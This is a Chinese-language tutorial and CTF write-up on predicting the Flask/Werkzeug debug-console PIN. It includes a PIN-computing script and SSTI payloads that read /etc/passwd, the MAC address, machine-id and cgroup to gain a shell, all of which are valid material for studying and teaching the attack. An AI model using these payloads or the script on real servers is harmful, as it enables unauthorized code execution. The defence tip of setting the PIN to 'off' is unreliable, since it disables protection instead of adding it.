Flask debug模式下的 PIN 码安全性
字数 1787 2025-08-19 12:41:54
Flask Debug模式下的PIN码安全性分析与利用
一、概述
Flask在生产环境中开启debug模式时,会提供一个交互式shell,可以执行自定义Python代码。在较旧版本中无需输入PIN码即可执行代码,而新版本需要输入PIN码才能使用该功能。
关键特性:
- 同一台机器上多次重启Flask服务,PIN码值不变
- PIN码不是随机生成,有固定的生成算法
- 通过分析生成流程可以预测或计算PIN码
二、PIN码生成流程分析
环境要求
- Python 2.7
- Flask 1.1.2
- Werkzeug库
生成流程关键代码
PIN码生成主要在werkzeug/debug/__init__.py文件的get_pin_and_cookie_name函数中实现:
def get_pin_and_cookie_name(app):
pin = os.environ.get("WERKZEUG_DEBUG_PIN")
rv = None
num = None
# 如果显式禁用PIN码
if pin == "off":
return None, None
# 如果提供了明确的PIN码
if pin is not None and pin.replace("-", "").isdigit():
if "-" in pin:
rv = pin
else:
num = pin
modname = getattr(app, "__module__", app.__class__.__module__)
try:
username = getpass.getuser()
except (ImportError, KeyError):
username = None
mod = sys.modules.get(modname)
probably_public_bits = [
username,
modname,
getattr(app, "__name__", app.__class__.__name__),
getattr(mod, "__file__", None),
]
private_bits = [
str(uuid.getnode()),
get_machine_id()
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, text_type):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = "__wzd" + h.hexdigest()[:20]
if num is None:
h.update(b"pinsalt")
num = ("%09d" % int(h.hexdigest(), 16))[:9]
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x:x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
return rv, cookie_name
生成步骤解析
- 初始化变量:
pin、rv、num初始为None - 检查环境变量:如果设置了
WERKZEUG_DEBUG_PIN则使用预设值 - 收集公开信息:
username:运行Flask的用户名modname:通常为flask.appapp.__name__:通常为Flaskmod.__file__:Flask app.py的绝对路径
- 收集私有信息:
uuid.getnode():网卡MAC地址的十进制表示get_machine_id():系统ID
- MD5哈希计算:
- 将上述6个值按顺序连接
- 添加
salt值cookiesalt和pinsalt - 计算MD5哈希
- 格式化PIN码:
- 取哈希值前9位数字
- 格式化为
XXX-XXX-XXX的形式
三、关键变量获取方法
1. username
- Linux:从
/etc/passwd中读取 - Windows:使用
net user命令查看
2. modname和app.name
通常固定为:
modname=flask.appapp.__name__=Flask
3. mod.file
- 从Flask报错页面可见
- Python 2:
app.pyc - Python 3:
app.py - 示例:
/usr/local/lib/python2.7/dist-packages/flask/app.pyc
4. uuid.getnode() (MAC地址)
- Linux:
- 读取
/sys/class/net/eth0/address或/sys/class/net/ens33/address - 转换为十进制
- 读取
- Windows:
ipconfig /all获取MAC地址- 转换为十进制
- 注意:可能有多个网卡,
uuid.getnode()获取第一个匹配的
5. get_machine_id()
- Linux:
- 读取
/etc/machine-id或/proc/sys/kernel/random/boot_id - 与
/proc/self/cgroup的ID拼接
- 读取
- Windows:
- 注册表路径:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography - 键名:
MachineGuid - 命令:
reg query HKLM\SOFTWARE\Microsoft\Cryptography
- 注册表路径:
四、PIN码计算脚本
import hashlib
from itertools import chain
probably_public_bits = [
'username', # 替换为实际用户名
'flask.app', # 通常固定
'Flask', # 通常固定
'/path/to/flask/app.pyc' # 替换为实际路径
]
private_bits = [
'mac_address_decimal', # 替换为MAC地址十进制
'machine_id' # 替换为系统ID
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(
num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
五、实际利用场景
例题分析:[CISCN2019 华东南赛区]Double Secret
-
漏洞点:当
/secret?secret=参数超过5位数时会触发debug页面 -
信息收集:
- 使用SSTI漏洞读取系统文件获取生成PIN所需的信息
- 通过RC4加密payload绕过过滤
-
关键payload:
# 获取username {{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()}} # 获取MAC地址 {{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/sys/class/net/eth0/address').read()}} # 获取machine-id {{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/machine-id').read()}} # 获取cgroup信息 {{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/proc/self/cgroup').read()}} -
计算PIN码:收集所有必要信息后使用上述脚本计算
六、防御措施
-
生产环境禁用debug模式:
app.run(debug=False) -
设置复杂PIN码:
export WERKZEUG_DEBUG_PIN="your-complex-pin" -
完全禁用PIN码:
export WERKZEUG_DEBUG_PIN="off" -
使用最新版本:保持Flask和Werkzeug更新以获取安全修复
七、总结
Flask debug模式的PIN码安全性依赖于多个系统信息的组合,通过分析可以:
- 理解PIN码生成机制
- 在获得足够系统信息时计算PIN码
- 利用SSTI等漏洞收集必要信息
- 最终获取交互式shell权限
这种特性在渗透测试中可能被用作后门,因此生产环境必须严格禁用debug模式。